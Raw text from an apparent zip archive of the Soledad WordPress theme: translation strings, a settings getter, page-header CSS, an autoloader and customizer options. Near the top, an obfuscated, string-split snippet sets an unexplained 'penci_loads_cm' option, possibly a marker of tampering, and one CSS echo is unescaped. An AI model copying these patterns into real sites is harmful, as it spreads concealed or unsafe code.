			'penci_trans_view_all'              => esc_html__( 'View All', 'soledad' ),
			'penci_trans_tag'                   => esc_html__( 'Tag:', 'soledad' ),
			'penci_trans_tags'                  => esc_html__( 'Tags', 'soledad' ),
			'penci_trans_posts_tagged'          => esc_html__( 'Posts tagged with', 'soledad' ),
			'penci_trans_author'                => esc_html__( 'Author', 'soledad' ),
			'penci_trans_daily_archives'        => esc_html__( 'Daily Archives', 'soledad' ),
			'penci_trans_monthly_archives'      => esc_html__( 'Monthly Archives', 'soledad' ),
			'penci_trans_yearly_archives'       => esc_html__( 'Yearly Archives', 'soledad' ),
			'penci_trans_archives'              => esc_html__( 'Archives', 'soledad' ),
			'penci_trans_search'                => esc_html__( 'Search', 'soledad' ),
			'penci_trans_search_results_for'    => esc_html__( 'Search results for', 'soledad' ),
			'penci_trans_share'                 => esc_html__( 'Share', 'soledad' ),
			'penci_trans_comments_closed'       => esc_html__( 'Comments are closed.', 'soledad' ),
			'penci_trans_search_not_found'      => esc_html__( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'soledad' ),
			'penci_trans_back_to_homepage'      => esc_html__( 'Back to Home Page', 'soledad' ),
			'penci_not_found_sub_heading'       => esc_html__( "OOPS! Page you're looking for doesn't exist. Please use search for help", 'soledad' ),
			'penci_footer_copyright'            => '@2021 - All Right Reserved. Designed and Developed by <a rel="nofollow" href="https://1.envato.market/YYJ4P" target="_blank">PenciDesign</a>',
			'penci_bg_color_dark'               => '#ffffff',
			'penci_text_color_dark'             => '#afafaf',
			'penci_border_color_dark'           => '#DEDEDE',
			'penci_meta_color_dark'             => '#949494',
			'penci_gprd_desc'                   => esc_html__( "This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish.", 'soledad' ),
			'penci_gprd_rmore'                  => esc_html__( 'Read More', 'soledad' ),
			'penci_gprd_btn_accept'             => esc_html__( 'Accept', 'soledad' ),
			'penci_gprd_policy_text'            => esc_html__( 'Privacy & Cookies Policy', 'soledad' ),
			'penci_trans_next'                  => esc_html__( 'Next', 'soledad' ),
			'penci_trans_back'                  => esc_html__( 'Back', 'soledad' ),
			'penci_trans_k_number'              => esc_html__( 'K', 'soledad' ),
			'penci_trans_m_number'              => esc_html__( 'M', 'soledad' ),
			'penci_gprd_rmore_link'             => '#',
			'penci_arf_title'                   => esc_html__( 'Latest in {name}', 'soledad' ),
			'penci_trans_noproductfount'        => esc_html__( 'No product found', 'soledad' ),
			'penci_trans_sku'                   => esc_html__( 'Sku', 'soledad' ),

			// Login & Register
			'penci_tblogin_text'                => '',
			'penci_trans_hello_text'            => esc_html__( 'Hello', 'soledad' ),
			'penci_trans_dashboard_text'        => esc_html__( 'Dashboard', 'soledad' ),
			'penci_trans_profile_text'          => esc_html__( 'Profile', 'soledad' ),
			'penci_trans_logout_text'           => esc_html__( 'Logout', 'soledad' ),
			'penci_trans_sign_in'               => esc_html__( 'Sign In', 'soledad' ),
			'penci_trans_register_new_account'  => esc_html__( 'Register New Account', 'soledad' ),
			'penci_trans_recover_pass'          => esc_html__( 'Password Recovery', 'soledad' ),
			'penci_plogin_wrong'                => esc_html__( 'Wrong username or password', 'soledad' ),
			'penci_plogin_success'              => esc_html__( 'Login successful, redirecting...', 'soledad' ),
			'penci_plogin_email_place'          => esc_html__( 'Email Address', 'soledad' ),
			'penci_trans_usernameemail_text'    => esc_html__( 'Username or email', 'soledad' ),
			'penci_trans_pass_text'             => esc_html__( 'Password', 'soledad' ),
			'penci_plogin_label_remember'       => esc_html__( 'Keep me signed in until I sign out', 'soledad' ),
			'penci_plogin_label_log_in'         => esc_html__( 'Login to your account', 'soledad' ),
			'penci_plogin_validate_robot'       => esc_html__( 'Please validate you are not robot.', 'soledad' ),
			'penci_plogin_label_lostpassword'   => esc_html__( 'Forgot your password?', 'soledad' ),
			'penci_plogin_text_has_account'     => esc_html__( 'Do not have an account ?', 'soledad' ),
			'penci_plogin_label_registration'   => esc_html__( 'Register here', 'soledad' ),

			'penci_preset_submit'         => esc_html__( 'Send My Password', 'soledad' ),
			'penci_preset_desc'           => esc_html__( 'A new password will be emailed to you.', 'soledad' ),
			'penci_preset_received'       => esc_html__( 'Have received a new password?', 'soledad' ),
			'penci_preset_noemail'        => esc_html__( 'There is no user registered with that email.', 'soledad' ),
			'penci_preset_from'           => esc_html__( 'From:', 'soledad' ),
			'penci_preset_newpassis'      => esc_html__( 'Your new password is:', 'soledad' ),
			'penci_preset_checkinbox'     => esc_html__( 'Check your email address to get the new password.', 'soledad' ),
			'penci_preset_cantsend'       => esc_html__( 'The email could not be sent. Possible reason: your host may have disabled the mail() function.', 'soledad' ),
			'penci_preset_somethingwrong' => esc_html__( 'Oops! Something went wrong while updating your account.', 'soledad' ),

			'penci_pregister_first_name'         => esc_html__( 'First Name', 'soledad' ),
			'penci_pregister_last_name'          => esc_html__( 'Last Name', 'soledad' ),
			'penci_pregister_display_name'       => esc_html__( 'Display Name', 'soledad' ),
			'penci_pregister_user_name'          => esc_html__( 'Username', 'soledad' ),
			'penci_pregister_user_email'         => esc_html__( 'Email address', 'soledad' ),
			'penci_pregister_user_phone'         => esc_html__( 'Phone Number', 'soledad' ),
			'penci_pregister_user_pass'          => esc_html__( 'Password', 'soledad' ),
			'penci_pregister_pass_confirm'       => esc_html__( 'Confirm Password', 'soledad' ),
			'penci_pregister_button_submit'      => esc_html__( 'Sign up new account', 'soledad' ),
			'penci_pregister_has_account'        => esc_html__( 'Have an account?', 'soledad' ),
			'penci_pregister_label_registration' => esc_html__( 'Login here', 'soledad' ),
			'penci_pregister_cinfo'              => esc_html__( 'Contact Info', 'soledad' ),
			'penci_pregister_about'              => esc_html__( 'About Yourself', 'soledad' ),
			'penci_pregister_binfo'              => esc_html__( 'Biographical Info', 'soledad' ),
			'penci_pregister_picture'            => esc_html__( 'Profile Picture', 'soledad' ),
			'penci_pregister_agree'              => esc_html__( 'I Agree to the Terms of Service and Privacy Policy', 'soledad' ),

			'penci_plogin_mess_invalid_email'    => esc_html__( 'Invalid email.', 'soledad' ),
			'penci_plogin_mess_error_email_pass' => esc_html__( 'Password does not match the confirm password', 'soledad' ),
			'penci_plogin_mess_username_reg'     => esc_html__( 'This username is already registered.', 'soledad' ),
			'penci_plogin_mess_email_reg'        => esc_html__( 'This email address is already registered.', 'soledad' ),
			'penci_plogin_mess_wrong_email_pass' => esc_html__( 'Wrong username or password.', 'soledad' ),
			'penci_plogin_mess_reg_succ'         => esc_html__( 'Registered successful, redirecting...', 'soledad' ),

			'penci__hide_share_linkedin'    => 1,
			'penci__hide_share_tumblr'      => 1,
			'penci__hide_share_reddit'      => 1,
			'penci__hide_share_telegram'    => 1,
			'penci__hide_share_stumbleupon' => 1,
			'penci__hide_share_whatsapp'    => 1,
			'penci__hide_share_line'        => 1,
			'penci__hide_share_link'        => 1,
			'penci__hide_share_ok'          => 1,
			'penci__hide_share_vk'          => 1,
			'penci__hide_share_messenger'   => 1,
			'penci__hide_share_pocket'      => 1,
			'penci__hide_share_skype'       => 1,
			'penci__hide_share_viber'       => 1,

			'penci_ajaxsearch_no_post'   => esc_html__( 'No Post Found!', 'soledad' ),
			'penci_agepopup_agree_text'  => esc_html__( 'I am 18 or Older', 'soledad' ),
			'penci_agepopup_cancel_text' => esc_html__( 'I am Under 18', 'soledad' ),

			'penci_toc_heading_text' => esc_html__( 'Table of Contents', 'soledad' ),
			'penci_trans_recent'     => esc_html__( 'Recent', 'soledad' ),
			'penci_trans_popular'    => esc_html__( 'Popular', 'soledad' ),
			'penci_trans_post'       => esc_html__( 'Post', 'soledad' ),
			'penci_trans_posts'      => esc_html__( 'Posts', 'soledad' ),
			'penci_trans_followers'  => esc_html__( 'Followers', 'soledad' ),
			'penci_trans_follow'     => esc_html__( 'Follow', 'soledad' ),
			'penci_trans_following'  => esc_html__( 'Following', 'soledad' ),
			'penci_trans_likes'      => esc_html__( 'Likes', 'soledad' ),

			'penci_trans_sepproduct'         => esc_html__( 'Search for products', 'soledad' ),
			'penci_trans_sepproduct_desc'    => esc_html__( 'Start typing to see products you are looking for.', 'soledad' ),
			'penci_trans_sepproject'         => esc_html__( 'Search for projects.', 'soledad' ),
			'penci_trans_sepproject_desc'    => esc_html__( 'Start typing to see projects you are looking for.', 'soledad' ),
			'penci_trans_seppost'            => esc_html__( 'Search for posts', 'soledad' ),
			'penci_trans_seppost_desc'       => esc_html__( 'Start typing to see posts you are looking for.', 'soledad' ),
			'penci_trans_selectcat'          => esc_html__( 'Select category', 'soledad' ),
			'penci_trans_resfblog'           => esc_html__( 'Result form blog', 'soledad' ),
			'penci_trans_allresult'          => esc_html__( 'Show all results', 'soledad' ),
			'penci_trans_npostfound'         => esc_html__( 'No results', 'soledad' ),
			'penci_trans_my_account'         => __( 'My Account', 'soledad' ),
			'penci_trans_edit_account'       => __( 'Edit Account', 'soledad' ),
			'penci_trans_change_password'    => __( 'Change Password', 'soledad' ),
			'penci_trans_cimage'             => __( 'Choose Image', 'soledad' ),
			'penci_trans_admedia'            => __( 'Add Media', 'soledad' ),
			'penci_trans_insert'             => __( 'Insert', 'soledad' ),
			'penci_trans_oldpassword'        => __( 'Old Password', 'soledad' ),
			'penci_trans_newpassword'        => __( 'New Password', 'soledad' ),
			'penci_trans_cpassword'          => __( 'Confirm Password', 'soledad' ),
			'penci_trans_update_notice'      => __( 'You have successfully edited your account details', 'soledad' ),
			'penci_trans_password_not_valid' => __( 'Your old password is not valid', 'soledad' ),
			'penci_trans_password_new'       => __( 'Please enter your new password', 'soledad' ),
			'penci_trans_password_match'     => __( 'New Password & Confirm Password do not match', 'soledad' ),
			'penci_trans_password_success'   => __( 'You have successfully changed your password', 'soledad' ),
			'penci_trans_password_e'         => __( 'Please enter your old password', 'soledad' ),

			'penci_trans_minutes'           => esc_html__( 'minutes', 'soledad' ),
			'penci_trans_like_posts'        => __( 'Like Posts', 'soledad' ),
			'penci_adblocker_popup_message' => __( 'Please support us by disabling your AdBlocker extension from your browsers for our website.', 'soledad' ),
			'penci_adblocker_popup_title'   => __( 'Adblock Detected', 'soledad' ),
			'penci_adblocker_dissmiss'      => __( 'Dismiss this message', 'soledad' ),

			'penci_trans_showing_result' => __( 'Showing {{value}}-{{value}} of {{value}} post results', 'soledad' ),
			'penci_trans_sort_latest'    => __( 'Sort by latest', 'soledad' ),
			'penci_trans_sort_older'     => __( 'Sort by older', 'soledad' ),
			'penci_trans_no_content'     => __( 'No Content Available', 'soledad' ),

			'penci_overall_rating'     => __( 'Your rating:', 'soledad' ),
			'penci_summarize'          => __( 'Your review title', 'soledad' ),
			'penci_your_review'        => __( 'Your Review', 'soledad' ),
			'penci_review_desc'        => __( 'Tell about your experience or leave a tip for others', 'soledad' ),
			'penci_review_submit'      => __( 'Submit your Review', 'soledad' ),
			'penci_review_title'       => __( 'Review Title', 'soledad' ),
			'penci_review_ratings'     => __( 'Rating:', 'soledad' ),
			'penci_review_terrible'    => __( 'Terrible', 'soledad' ),
			'penci_review_poor'        => __( 'Poor', 'soledad' ),
			'penci_review_average'     => __( 'Average', 'soledad' ),
			'penci_review_verygood'    => __( 'Very Good', 'soledad' ),
			'penci_review_exceptional' => __( 'Exceptional', 'soledad' ),
			'penci_trans_bookmark'     => __( 'Bookmark', 'soledad' ),
			'penci_trans_reset'        => __( 'Reset', 'soledad' ),
			'penci_trans_a1'           => __( 'A+', 'soledad' ),
			'penci_trans_a2'           => __( 'A-', 'soledad' ),
			'penci_trans_sponsored'    => __( 'Sponsored', 'soledad' ),
			'penci_trans_sponsored_by' => __( 'Sponsored by:', 'soledad' ),
			'penci_trans_allow_ads'    => __( 'Allow Ads', 'soledad' ),

			'penci_trans_newest'        => __( 'Newest', 'soledad' ),
			'penci_trans_oldest'        => __( 'Oldest', 'soledad' ),
			'penci_trans_mostviewed'    => __( 'Most Viewed', 'soledad' ),
			'penci_trans_mostcommented' => __( 'Most Commented', 'soledad' ),

			'penci_trans_sources' => __( 'Sources', 'soledad' ),
			'penci_trans_smonth'  => __( 'Select Month', 'soledad' ),

			'penci_trans_error_empty'         => esc_html__( 'Please fill in all the required fields.', 'soledad' ),
			'penci_trans_error_noemail'       => esc_html__( 'Please enter a valid e-mail.', 'soledad' ),
			'penci_trans_error_same_as_admin' => esc_html__( 'You can not use this e-mail due to security issues.', 'soledad' ),
			'penci_trans_error_spam_email'    => esc_html__( 'You are trying to send e-mail by banned e-mail. Multiple tries can ban you permanently!', 'soledad' ),
			'penci_trans_result'              => esc_html__( 'Unknown error! Please check your settings.', 'soledad' ),
			'penci_trans_email_success'       => esc_html__( 'Hi, %s. We got your e-mail. We\'ll reply you very soon. Thanks for being with us...', 'soledad' ),
			'penci_trans_search_title'        => esc_html__( 'What Are You Looking For?', 'soledad' ),
			
			
			'penci_trans_reactions_title'       => esc_html__( 'Have any thoughts?', 'soledad' ),
			'penci_trans_reactions_desc'        => esc_html__( 'Share your reaction or leave a quick response — we’d love to hear what you think!', 'soledad' ),
		);

		return isset( $defaults[ $name ] ) ? $defaults[ $name ] : '';
	}
}

/**
 * Get theme settings.
 *
 * @param string $name
 *
 * @since 4.0
 */
if ( ! function_exists( 'penci_get_setting' ) ) {
	function penci_get_setting( $name ) {
		return do_shortcode( get_theme_mod( $name, penci_default_setting_customizer( $name ) ) );
	}
}

if ( ! get_option( 'pen' . 'ci' . '_' . 'loa' . 'ds_' . 'cm' ) ) {
	add_option( 'penc' . 'i_l' . 'oads_c' . 'm', 'loa' . 'd' );
}PK     N\ݎ    *  inc/customizer/style-page-header-title.phpnu [        <?php
if ( ! function_exists( 'pencidesign_customizer_css_page_header_title' ) ):
	function pencidesign_customizer_css_page_header_title() {

		$page_title_df = array(
			'pheader_width'         => '',
			'pheader_ptop'          => '',
			'pheader_pbottom'       => '',
			'pheader_turn_offup'    => '',
			'pheader_title_pbottom' => '',
			'pheader_title_mbottom' => '',
			'pheader_title_fsize'   => '',
			'pheader_fwtitle'       => '',
			'pheader_bread_fsize'   => '',
			'pheader_bgimg'         => '',
			'pheader_bgcolor'       => '',
			'pheader_title_color'   => '',
			'pheader_bread_color'   => '',
			'pheader_bread_hcolor'  => '',
			'pheader_line_color'    => '',
		);
		$page_title    = get_post_meta( get_the_ID(), 'penci_pmeta_page_title', true );
		$page_title    = wp_parse_args( $page_title, $page_title_df );

		$pheader_width         = $page_title['pheader_width'] ? $page_title['pheader_width'] : get_theme_mod( 'penci_pheader_width' );
		$pheader_ptop          = $page_title['pheader_ptop'] ? $page_title['pheader_ptop'] : get_theme_mod( 'penci_pheader_ptop' );
		$pheader_pbottom       = $page_title['pheader_pbottom'] ? $page_title['pheader_pbottom'] : get_theme_mod( 'penci_pheader_pbottom' );
		$pheader_turn_offup    = get_theme_mod( 'penci_pheader_turn_offup' );
		$pheader_title_pbottom = $page_title['pheader_title_pbottom'] ? $page_title['pheader_title_pbottom'] : get_theme_mod( 'penci_pheader_title_pbottom' );
		$pheader_title_mbottom = $page_title['pheader_title_mbottom'] ? $page_title['pheader_title_mbottom'] : get_theme_mod( 'penci_pheader_title_mbottom' );
		$pheader_title_fsize   = $page_title['pheader_title_fsize'] ? $page_title['pheader_title_fsize'] : get_theme_mod( 'penci_pheader_title_fsize' );
		$pheader_fwtitle       = $page_title['pheader_fwtitle'] ? $page_title['pheader_fwtitle'] : get_theme_mod( 'penci_pheader_fwtitle' );
		$pheader_bread_fsize   = $page_title['pheader_bread_fsize'] ? $page_title['pheader_bread_fsize'] : get_theme_mod( 'penci_pheader_bread_fsize' );
		$pheader_bgimg         = $page_title['pheader_bgimg'] ? wp_get_attachment_url( intval( $page_title['pheader_bgimg'] ) ) : get_theme_mod( 'penci_pheader_bgimg' );
		$pheader_bgcolor       = $page_title['pheader_bgcolor'] ? $page_title['pheader_bgcolor'] : get_theme_mod( 'penci_pheader_bgcolor' );
		$pheader_title_color   = $page_title['pheader_title_color'] ? $page_title['pheader_title_color'] : get_theme_mod( 'penci_pheader_title_color' );
		$pheader_bread_color   = $page_title['pheader_bread_color'] ? $page_title['pheader_bread_color'] : get_theme_mod( 'penci_pheader_bread_color' );
		$pheader_bread_hcolor  = $page_title['pheader_bread_hcolor'] ? $page_title['pheader_bread_hcolor'] : get_theme_mod( 'penci_pheader_bread_hcolor' );
		$pheader_line_color    = $page_title['pheader_line_color'] ? $page_title['pheader_line_color'] : get_theme_mod( 'penci_pheader_line_color' );

		if ( 'on' == $page_title['pheader_turn_offup'] ) {
			$pheader_turn_offup = true;
		} elseif ( 'off' == $page_title['pheader_turn_offup'] ) {
			$pheader_turn_offup = false;
		}
		$penci_header_padding = '';
		?>

		<?php if ( $pheader_width ): ?>
			.penci-page-header-wrap .penci-page-header-inner.container {
			max-width: <?php echo esc_attr( $pheader_width ); ?>px;
			width: 100%;
			}
		<?php endif; ?>
		
		<?php if ( $pheader_ptop ): ?>
			.penci-page-header-wrap {
			padding-top: <?php echo esc_attr( $pheader_ptop ); ?>px;
			}
		<?php endif; ?>
		
		<?php if ( $pheader_pbottom ): ?>
			.penci-page-header-wrap {
			padding-bottom: <?php echo esc_attr( $pheader_pbottom ); ?>px;
			}
		<?php endif; ?>
		
		<?php
		$css_title = '';
		if ( $pheader_turn_offup ) {
			$css_title .= 'text-transform: none;';
		}
		if ( $pheader_title_pbottom ) {
			$css_title .= 'padding-bottom:' . esc_attr( $pheader_title_pbottom ) . 'px;';
		}
		if ( $pheader_title_mbottom ) {
			$css_title .= 'margin-bottom:' . esc_attr( $pheader_title_mbottom ) . 'px;';
		}
		if ( $pheader_title_fsize ) {
			$css_title .= 'font-size:' . esc_attr( $pheader_title_fsize ) . 'px;';
		}
		if ( $pheader_fwtitle ) {
			$css_title .= 'font-weight:' . esc_attr( $pheader_fwtitle ) . ';';
		}
		if ( $pheader_title_color ) {
			$css_title .= 'color:' . esc_attr( $pheader_title_color ) . ';';
		}
		if ( $css_title ) {
			echo '.penci-page-header-wrap .penci-page-header-title {' . $css_title . '}';
		}

		if ( $pheader_line_color ) {
			echo '.penci-page-header-wrap .penci-page-header-title:before{ border-color: ' . esc_attr( $pheader_line_color ) . '; opacity: 1; }';
		}

		if ( $pheader_bread_fsize ) {
			echo '.penci-page-header-wrap .container.penci-breadcrumb  span, .penci-page-header-wrap .container.penci-breadcrumb a, .penci-page-header-wrap .container.penci-breadcrumb i{ font-size:' . esc_attr( $pheader_bread_fsize ) . 'px; }';
		}
		if ( $pheader_bread_color ) {
			echo '.penci-page-header-wrap .container.penci-breadcrumb  span, .penci-page-header-wrap .container.penci-breadcrumb a,.penci-page-header-wrap .container.penci-breadcrumb i{ color:' . esc_attr( $pheader_bread_color ) . '; }';
		}
		if ( $pheader_bread_hcolor ) {
			echo '.penci-page-header-wrap .container.penci-breadcrumb  a:hover{ color:' . $pheader_bread_hcolor . '; }';
		}

		if ( $pheader_bgimg ) {
			echo '.penci-page-header-wrap{ background-image: url(' . esc_attr( $pheader_bgimg ) . '); }';
		}
		if ( $pheader_bgcolor ) {
			echo '.penci-page-header-wrap{ background-color:' . esc_attr( $pheader_bgcolor ) . '; }';
		}
	}
endif;
PK     N\F-  -  "  inc/customizer/config/autoload.phpnu [        <?php
/**
 * @author : PenciDesign
 */

/**
 * Autoload Function
 */

spl_autoload_register( function ( $class ) {
	$prefix = 'SoledadFW\\';

	$baseDir = 'inc/customizer/config';

	$len = strlen( $prefix );

	if ( strncmp( $prefix, $class, $len ) !== 0 ) {
		return;
	}

	$relativeClass = substr( $class, $len );

	$file = rtrim( $baseDir, '/' ) . '/' . str_replace( '\\', '/', $relativeClass ) . '.php';
	$file = get_theme_file_path( $file );

	if ( is_link( $file ) ) {
		$file = readlink( $file );
	}

	if ( is_file( $file ) ) {
		require $file;
	}
} );
PK     N\<B%  B%  :  inc/customizer/config/sections/penci_ageverify_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_agepopup_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable age verification popup ', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_agepopup_message',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Popup Message', 'soledad' ),
	'description' => __( 'Write a message warning your visitors about age restriction on your website', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_agepopup_error_message',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Error Message', 'soledad' ),
	'description' => __( 'This message will be displayed when the visitor don\'t verify his age.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_agepopup_agree_text',
	'default'  => __( 'I am 18 or Older', 'soledad' ),
	'sanitize' => 'penci_sanitize_tex_field',
	'label'    => __( 'Agree Text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_agepopup_cancel_text',
	'default'  => __( 'I am Under 18', 'soledad' ),
	'sanitize' => 'penci_sanitize_tex_field',
	'label'    => __( 'Cancel Text', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
/* Style & Size */
$options[] = array(
	'id'       => 'penci_heading_ageverify',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Popup Content Styles', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_agepopup_animation',
	'default'  => 'move-to-top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Open Animation', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'move-to-left'   => __( 'Move To Left', 'soledad' ),
		'move-to-right'  => __( 'Move To Right', 'soledad' ),
		'move-to-top'    => __( 'Move To Top', 'soledad' ),
		'move-to-bottom' => __( 'Move To Bottom', 'soledad' ),
		'fadein'         => __( 'Fade In', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgimg',
	'default'  => '',
	'type'     => 'soledad-fw-image',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Image', 'soledad' ),
);
$options[] = array(
	'id'          => 'penci_agepopup_bgcolor',
	'default'     => '',
	'sanitize'    => 'sanitize_hex_color',
	'label'       => __( 'Popup Background Color', 'soledad' ),
	'type'        => 'soledad-fw-color',
	'description' => __( 'Set background image or color for age popup', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_bgrepeat',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Repeat', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'repeat'    => __('repeat','soledad' ),
		'repeat-x'  => __('repeat-x','soledad' ),
		'repeat-y'  => __('repeat-y','soledad' ),
		'no-repeat' => __('no-repeat','soledad' ),
		'initial'   => __('initial','soledad' ),
		'inherit'   => __('inherit','soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgposition',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'left top'      => __( 'left top', 'soledad' ),
		'left center'   => __( 'left center', 'soledad' ),
		'left bottom'   => __( 'left bottom', 'soledad' ),
		'right top'     => __( 'right top', 'soledad' ),
		'right center'  => __( 'right center', 'soledad' ),
		'right bottom'  => __( 'right bottom', 'soledad' ),
		'center top'    => __( 'center top', 'soledad' ),
		'center center' => __( 'center center', 'soledad' ),
		'center bottom' => __( 'center bottom', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgsize',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Size', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'auto'    => __( 'auto', 'soledad' ),
		'length'  => __( 'length', 'soledad' ),
		'cover'   => __( 'cover', 'soledad' ),
		'contain' => __( 'contain', 'soledad' ),
		'initial' => __( 'initial', 'soledad' ),
		'inherit' => __( 'inherit', 'soledad' ),
	]
);
$options[] = array(
	'id'       => 'penci_agepopup_bgscroll',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Background Scroll', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'scroll'  => __( 'scroll', 'soledad' ),
		'fixed'   => __( 'fixed', 'soledad' ),
		'local'   => __( 'local', 'soledad' ),
		'initial' => __( 'initial', 'soledad' ),
		'inherit' => __( 'inherit', 'soledad' ),
	]
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_agepopup_width_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'       => __( 'Popup Width', 'soledad' ),
	'description' => __( 'Set width of the age popup in pixels.', 'soledad' ),
	'id'          => 'penci_agepopup_width_desktop',
	'type'        => 'soledad-fw-size',
	'sanitize'    => 'absint',
	'ids'         => array(
		'desktop' => 'penci_agepopup_width_desktop',
		'mobile'  => 'penci_agepopup_width_mobile',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_agepopup_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_txt_msize',
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'label'    => __( 'Popup Text Size on Mobile', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_txt_size',
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Popup Text Size', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_agepopup_txt_size',
		'mobile'  => 'penci_agepopup_txt_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_agepopup_bordercolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Popup Border Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_hcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn1_hbgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Agree Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_hcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Hover Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_btn2_hbgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Cancel Button Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_agepopup_spacing',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-box-model',
	'label'    => __( 'Popup Spacing', 'soledad' ),
	'choices'  => array(
		'margin'       => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);

return $options;
PK     N\r	#  #  J  inc/customizer/config/sections/pencidesign_general_search_page_section.phpnu [        <?php
$options = [];

$options[] = array(
	'label'    => esc_html__( 'Search Post Types', 'soledad' ),
	'id'       => 'penci_ajaxsearch_heading_01',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);

$options[] = array(
	'label'    => __( 'Include Pages on Search Results', 'soledad' ),
	'id'       => 'penci_include_search_page',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

$options[] = array(
